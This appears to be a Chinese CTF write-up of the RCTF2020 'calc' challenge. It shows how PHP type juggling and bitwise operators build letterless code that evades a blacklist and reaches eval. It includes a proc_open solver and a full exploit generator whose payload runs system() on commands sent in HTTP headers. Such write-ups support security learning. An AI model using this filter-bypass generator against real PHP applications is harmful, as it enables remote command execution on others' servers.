php {0110 &^ 1011 =,从一道CTF题目中学习新的无字母webshell构造

207492

前言

前几天的RCTF2020中,有一道web题calc考察的是构造无字母的shell,非常有学习意义,这里跟各位师傅分享一下。本人菜鸟一枚,文章中如有不对的地方,望各位师傅指出,勿喷~~~

题目分析

error_reporting(0);

if(!isset($_GET['num'])){

show_source(__FILE__);

}else{

$str = $_GET['num'];

$blacklist = ['[a-z]', '[x7f-xff]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/im', $str)) {

die("what are you want to do?");

}

}

@eval('echo '.$str.';');

}

?>

题目只允许使用以下字符:

! # % & ( ) * + - / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~

如何仅仅通过数字和一些可见字符,实现任意的php代码执行呢?这里运用到的,是关于.运算符的自动类型转换。

关于点运算符的自动类型转换

我们来看下面的例子:

@var_dump(1.0);//float(1)

@var_dump((1).(0));//string(2) "10"

@var_dump(strval(1).strval(0));//string(2) "10"

?>

在第2行,如果我们没有对数字加括号,php解析器就会将其视为float类型数值。

在第3行,如果对数字加上括号,由于运算符优先级规则,此时就变成两个数字进行.运算,php解析器会把两个数字自动转换成string类型,效果相当于使用strval函数。

而且,该自动类型转换不仅仅限于数字,看下面的例子:

@var_dump(a.(100));//string(4) "a100"

@var_dump(a0a.(aaa));//string(6) "a0aaaa"

@var_dump(_.a_1);//string(4) "_a_1"

?>

可以看到,只要不是php中有特定功能的字符,都可以通过这种方法将其转换成string。显然,这是我们需要在解题中利用的点。

但问题又来了,题目过滤了字母和常用字符,我们应该如何构造它们呢?看下面的例子:

@var_dump((1/0).(0));//string(4) "INF0"

@var_dump((0/0).(0));//string(4) "NAN0"

@var_dump((9999999999*9999999999).(0));//string(16) "9.999999998E+190"

@var_dump((3333/4).(0));//string(7) "833.250"

@$N = (((1/0).(0)){0});//string(1) "I"

@$N = (((1/0).(0)){1});//string(1) "N"

@$N = (((1/0).(0)){2});//string(1) "F"

?>

我们这里利用NAN、INF等特殊的数值表示,通过.运算符将其转换成string。至于元素的提取,虽然题目过滤了[],但是php还支持使用{}获取Array和String的元素。

通过这些特殊的数值表示,我们就有了一些初始字符,接下来就利用& | ~等没有被过滤的运算符,将需要的字符构造出来即可,这也是题目名calc的含义所在。

现在思路有了,接下来就愉快地拿flag吧!

做题过程

实现任意命令执行的方式有很多,我这里使用的是system(end(getallheaders())),然后在http包首部的最后添加任意键值,即可实现任意命令执行。(该思路借鉴于Y1ng师傅,已征得同意进行分享)

207492

运行根目录的/readflag,发现又是一道计算题,跟*ctf2019-mywebsql的一模一样,直接上脚本:

$d = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("file", "/tmp/error.log", "a")

);

$cwd = "/";

$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);

if (is_resource($process))

{

$d = fread($pipes[1], 1024);

$d = fread($pipes[1], 1024);

$d = explode("n", $d);

eval("$result = $d[0];");

eval("$result = $d[0];");

fwrite($pipes[0] , "$resultn");

var_dump(fread($pipes[1],1024));

var_dump(fread($pipes[1],1024));

var_dump(fread($pipes[1],1024));

fclose($pipes[0]);

fclose($pipes[1]);

$r = proc_close($process);

echo "result $rn";

}

?>

尝试上传文件,发现似乎没有写权限。将php代码进行base64编码,然后php -r执行即可拿到flag。

207492

exp

这里分享一下exp给各位师傅,脚本中所有可见字符的计算式都已经构造出来,师傅们只要在104行的$payload中输入要构造的php代码即可。

error_reporting(0);

$_00 = '((0).(0)){0}&((0/0).(1)){1}';//0000 0000

$_10 = '((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))';//0001 0000

$_20 = '(((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1})';//0010 0000 space

$_21 = '(((1).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0001 !

$_22 = '(((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0010 "

$_23 = '(((3).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0011 //

$_24 = '(((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3})';//0010 0100 $

$_25 = '(((5).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0101 %

$_26 = '(((6).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0110 &

$_27 = '(((7).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0111 '

$_28 = '(((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1000 (

$_29 = '(((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1001 )

$_2a = '((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))|((((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1010 *

$_2b = '((9999999999*999999999).(0)){12}';//0010 1011 +

$_2c = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1100 ,

$_2d = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1101 -

$_2e = '((3333/4).(0)){3}';//0010 1110 .

$_2f = '((3333/4).(0)){3}|((9999999999*999999999).(0)){12}';//0010 1111 /

$_30 = '((0).(0)){0}';//0011 0000 0

$_31 = '((1).(0)){0}';//0011 0001 1

$_32 = '((2).(0)){0}';//0011 0010 2

$_33 = '((3).(0)){0}';//0011 0011 3

$_34 = '((4).(0)){0}';//0011 0100 4

$_35 = '((5).(0)){0}';//0011 0101 5

$_36 = '((6).(0)){0}';//0011 0110 6

$_37 = '((7).(0)){0}';//0011 0111 7

$_38 = '((8).(0)){0}';//0011 1000 8

$_39 = '((9).(0)){0}';//0011 1001 9

$_3a = '(((8).(0)){0})|(((2).(0)){0})';//0011 1010 :

$_3b = '(((8).(0)){0})|(((3).(0)){0})';//0011 1011 ;

$_3c = '(((8).(0)){0})|(((4).(0)){0})';//0011 1100 <

$_3d = '(((8).(0)){0})|(((5).(0)){0})';//0011 1101 =

$_3e = '(((8).(0)){0})|(((6).(0)){0})';//0011 1110 >

$_3f = '(((8).(0)){0})|(((7).(0)){0})';//0011 1111 ?

$_40 = '((0/0).(1)){1}&((0/0).(1)){0}';//0100 0000 @

$A = '((0/0).(1)){1}';//0100 0001 A

$B = '(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))';//0100 0010 B

$C = '((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))';//0100 0011 C

$D = '(((0/0).(1)){0}&((9999999999*999999999).(0)){11})';// 0100 0100 D

$E = '((9999999999*999999999).(0)){11}';//0100 0101 E

$F = '(((1/0).(0)){2})';//0100 0110 F

$G = '(((0/0).(1)){1})|(((1/0).(0)){2})';//0100 0111 G

$H = '((((1/0).(0)){0})&((0/0).(1)){0})';//0100 1000 H

$I = '(((1/0).(0)){0})';//0100 1001 I

$J = '((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1010 J

$K = '(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1011 K

$L = '((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1100 L

$M = '((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1101 M

$N = '((0/0).(1)){0}';//0100 1110 N

$O = '((0/0).(1)){1}|((0/0).(1)){0}';//0100 1111 O

$P = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}&((0/0).(1)){0})';//0101 0001 P

$Q = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1})';//0101 0001 Q

$R = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))';//0101 0010 R

$S = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))))';//0101 0011 S

$T = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){0}&((9999999999*999999999).(0)){11}))';//0101 0100 T

$U = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((9999999999*999999999).(0)){11})';//0101 0101 U

$V = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){2}))';//0101 0110 V

$W = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){1})|(((1/0).(0)){2}))';//0101 0111 W

$X = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((1/0).(0)){0})&((0/0).(1)){0}))';//0101 1000 X

$Y = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){0}))';//0101 1001 Y

$Z = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1010 Z

$_5b = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1011 [

$_5c = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1100

$_5d = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1101 ]

$_5e = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){0})';//0101 1110 ^

$_5f = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}|((0/0).(1)){0})';//0101 1111 _

$_60 = '(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 0000 `

$a = '(((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1}';//0110 0001 a

$b = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1})';//0110 0010 b

$c = '((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))|((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0011 c

$d = '(((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0110 0100 d

$e = '((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11})';//0110 0101 e

$f = '(((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0110 f

$g = '(((0/0).(1)){1}|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0111 g

$h = '(((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1000 h

$i = '(((0/0).(1)){1}|((0).(9)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1001 i

$j = '(((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 1010 j

$k = '((9999999999*999999999).(0)){12}|((0/0).(1)){1}';//0110 1011 k

$l = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|((((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))))';//0110 1100 l

$m = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|(((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11}))';//0110 1101 m

$n = '((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})';//0110 1110 n

$o = '((3333/4).(0)){3}|((0/0).(1)){1}';//0110 1111 o

$p = '((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0000 p

$q = '((0).(0)){0}|((0/0).(1)){1}';//0111 0001 q

$r = '((2).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0010 r

$s = '((0/0).(1)){1}|((0).(2)){1}';//0111 0011

$t = '((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0100 t

$u = '((0/0).(1)){1}|((0).(4)){1}';//0111 0101

$v = '((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0110 v

$w = '((0/0).(1)){1}|((0).(6)){1}';//0111 0111

$x = '((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 1000 x

$y = '((0/0).(1)){1}|((0).(9)){1}';//0111 1001

$z = '((((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))|(((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1010 z

$_7b = '(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&((4).(0)){0}';//0111 1011 {

$_7c = '(((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1100 |

$_7d = '((1).(2)){1}|((1/0).(0)){0}';//0111 1101 }

$_7e = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1110 ~

$_7f = '(((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1}';//0111 1111 7f

$_80 = '(((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))';//1000 0000

$_ff = '(~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}';//1111 1111 ff

$payload = 'system(end(getallheaders()))';

$result = "";

$flag = True;

for($aa = 0;$aa < strlen($payload);$aa++){

if(ord($payload[$aa])>=ord('a') && ord($payload[$aa])<=ord('z')){

if($flag === True){

$flag = False;

$result .= "(";

}

$result .= "((${$payload[$aa]})).";

}

elseif($payload[$aa] === "(" or $payload[$aa] === ")"){

if($flag === False){

$result = substr($result, 0, strlen($result)-1) . ")";

$flag = True;

}

if($result[strlen($result)-1] === "."){

$result = substr($result, 0, strlen($result)-1) . $payload[$aa];

}

else{

$result .= $payload[$aa];

}

}

else{

if($flag === False){

$result = substr($result, 0, strlen($result)-1) . ")";

$flag = True;

}

$tmp = "_".strval(dechex(ord($payload[$aa])));

$result .= "((${$tmp})).";

}

}

if ($result[strlen($result)-1] !== ")"){

$result = substr($result, 0, strlen($result)-1);

}

$result .= ";";

echo urlencode($result);

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值